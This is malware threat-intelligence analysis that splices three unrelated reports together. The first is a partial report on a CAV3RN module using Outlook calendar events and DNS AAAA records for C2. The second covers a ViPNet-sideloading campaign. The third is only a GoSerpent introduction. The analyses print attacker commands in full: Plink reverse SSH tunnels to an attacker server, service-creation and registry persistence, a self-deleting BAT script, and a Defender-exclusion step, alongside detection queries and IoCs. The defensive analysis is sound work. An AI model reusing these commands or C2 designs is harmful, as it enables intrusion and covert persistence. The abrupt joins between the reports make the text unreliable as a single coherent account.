During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url> send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{ "TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID "ClientId": "********-****-****-****-************", // application/client ID "ClientSecret": "********************************************", "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox "Host": "cloudlanecdn[.]com", // DNS bootstrap domain "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key }

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token client_id=<ClientId> client_secret=<ClientSecret> scope=https://graph.microsoft.com/.default grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format Purpose Module behavior Event ID: <agent-id> Operator-to-agent command Searches for the event, downloads its attachments, and deletes it after consumption Boss update ID: <agent-id>1500 Agent heartbeat Deletes the previous heartbeat event and creates a replacement Boss Report ID: <agent-id>1500 Agent-to-operator command output Creates an event, uploads encrypted result attachments, and assigns the final subject Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId> Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name Direction Associated subject file0.txt Operator to agent Event ID: <agent-id> File0.txt Agent to operator Boss Report ID: <agent-id>1500 Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST /v1.0/users/***@*********.co.il/calendar/events POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments PATCH /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET /v1.0/users/***@*********.co.il/calendarView DELETE /v1.0/users/***@*********.co.il/events/<EventId> POST /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId> Authorization: Bearer <access-token> { "subject": "Boss update ID: <agent-id>1500" }

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index Configuration value 0 TenantId 1 ClientId 2 ClientSecret 3 UserEmail Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain IP First seen ASN Hosting ns1.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205 May 2, 2026 AS 14956 RouterHosting LLC ns2.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205 May 2, 2026 AS 14956 RouterHosting LLC ns3.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205 May 2, 2026 AS 14956 RouterHosting LLC ns4.cloudlanecdn[.]com 144.172.108[.]205 May 21, 2026 AS 14956 RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected].

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.

UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.

UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.

UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector: a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.

HelloProxy: a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

• AFD_RECV (0x12017)
• AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:

threadid: <Thread ID> pid=<PID>\r\n

After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

• Working as a proxy. The malware accepts strings in the following format:
  <ip_addr>:<port>
  Afterwards, it creates new sockets and starts forwarding traffic between them.
• Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

• An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system.
• A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:

query user ipconfig /all ping 8.8.8.8 -n 1 net user /do net group /do dir "C:\Program Files (x86)" dir "C:\Program Files (x86)\infotecs\" dir "C:\Program Files (x86)\infotecs\ViPNet Administrator" dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export" dir "C:\Program Files (x86)\infotecs\ViPNet Client" dir "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\" dir "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>" dir c:\users\[username] query user dir C:\Users\Public\music

In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):

C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 [email protected][.]206 -P 3522 -pw [redacted]

HelloBackdoor: a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:

!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:

@echo off :loop if exist <selfpath> ( del /F /Q <selfpath> if exist <selfpath> goto loop ) sc stop iplircontrol >nul timeout 5 > nul sc start iplircontrol > nul (goto) 2>nul & del /F /Q %0

If the command text did not match the above list, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:

GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n

It refers to the news portal sina.com, which is popular in China.

In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat with the following verdicts:

• Trojan.Win32.Agentb.ttoe
• Trojan.Win64.Convagent.gen
• Trojan.Win64.Agent.smgpqx
• HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

1. Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
2. Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe or Itcsrvup.exe).
3. Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
4. Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
5. Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
6. Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:

• R220_02_Collection of user account information using standard Windows tools
• R221_01_Windows group discovery via Windows tools
• R224_02_Remote system discovery via standard Windows tools
• R224_14_Windows reconnaissance activity
• R226_02_Collection of information about network connections using standard Windows tools

Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:

• Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System:
  (DeviceEventClassID = '4663' OR DeviceEventClassID = '11') AND match(FileName, '.*\\.(exe|dll)') AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
• Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
  DeviceEventClassID = 7 AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe') AND FileName ilike '%wtsapi32.dll' AND FileName ilike '%\InfoTeCS\VIPNet Update System\%' AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
• Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe:
  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe') AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')
• Launching the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
  DeviceEventClassID = '1' AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe') AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
• Atypical reconnaissance execution from the svchost.exe process:
  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND SourceProcessName ilike '%svchost.exe' AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')
• Creation of tunnels using renamed ssh or plink processes:
  DeviceEventClassID = '1' AND match(OldFileName, '.*(plink|ssh).*') AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'

For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135

Detected TTPs:

T1569.002 — System Services: Service Execution

• "cmd" /c sc start UrBackupClientBackend

T1016 — System Network Configuration Discovery

• "cmd" /c arp -a
• "cmd" /c routeprint

T1049 — System Network Connections Discovery

• "cmd" /c netstat -ano

T1018 — Remote System Discovery

• "cmd" /c ping mail.ru -n 2

T1082 — System Information Discovery

• "cmd" /c systeminfo

T1057 — Process Discovery

• "cmd" /c tasklist

T1007 — System Service Discovery

• "cmd" /c sc query UrBackupClientBackend

T1083 — File and Directory Discovery

• "cmd" /c dir temp*.tmp
• "cmd" /c dir $temp\*.tmp
• "cmd" /c dir amgmt*
• "cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669
• "cmd" /c dir $public\libraries\
• "cmd" /c dir d:\WindowsImageBackup

T1005 — Data from Local System

• "cmd" /c type $temp\TS_E9E3.tmp
• "cmd" /c type $temp\Acr6F3D.tmp

T1074.001 — Local Data Staging

• "cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\

T1070.004 — Indicator Removal: File Deletion

• "cmd" /c del $windir\amgmt.dll
• "cmd" /c del $public\libraries\APN000B.txt

T1543.003 — Create or Modify System Process: Windows Service

• sc stop AppMgmt
• sc delete AppMgmt
• sc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"
• sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."
• sc failure AppMgmt reset= 0 actions= restart/0

T1112 — Modify Registry

• reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dll
• reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain

T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)

• "cmd" /c copy $windir\amgmt* $system32\

T1059.003 — Execution of auxiliary scripts

• "cmd" /c $windir\amgmt.bat
• "cmd" /c $windir\insru.cmd

T1105 — Ingress Tool Transfer

• "cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windir

T1562.001 — Impair Defenses: Disable or Modify Tools

• "cmd" /c \$windir\puh.exe add $windir\autoit3.exe white

T1059 / T1218 — Proxy execution via AutoIt

• "cmd" /c \$windir\autoit3.exe \$windir\data.dat

T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH

• c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] [email protected] -P 48022 -pw [redacted]

Introduction

In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.

During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.

Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.

We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.

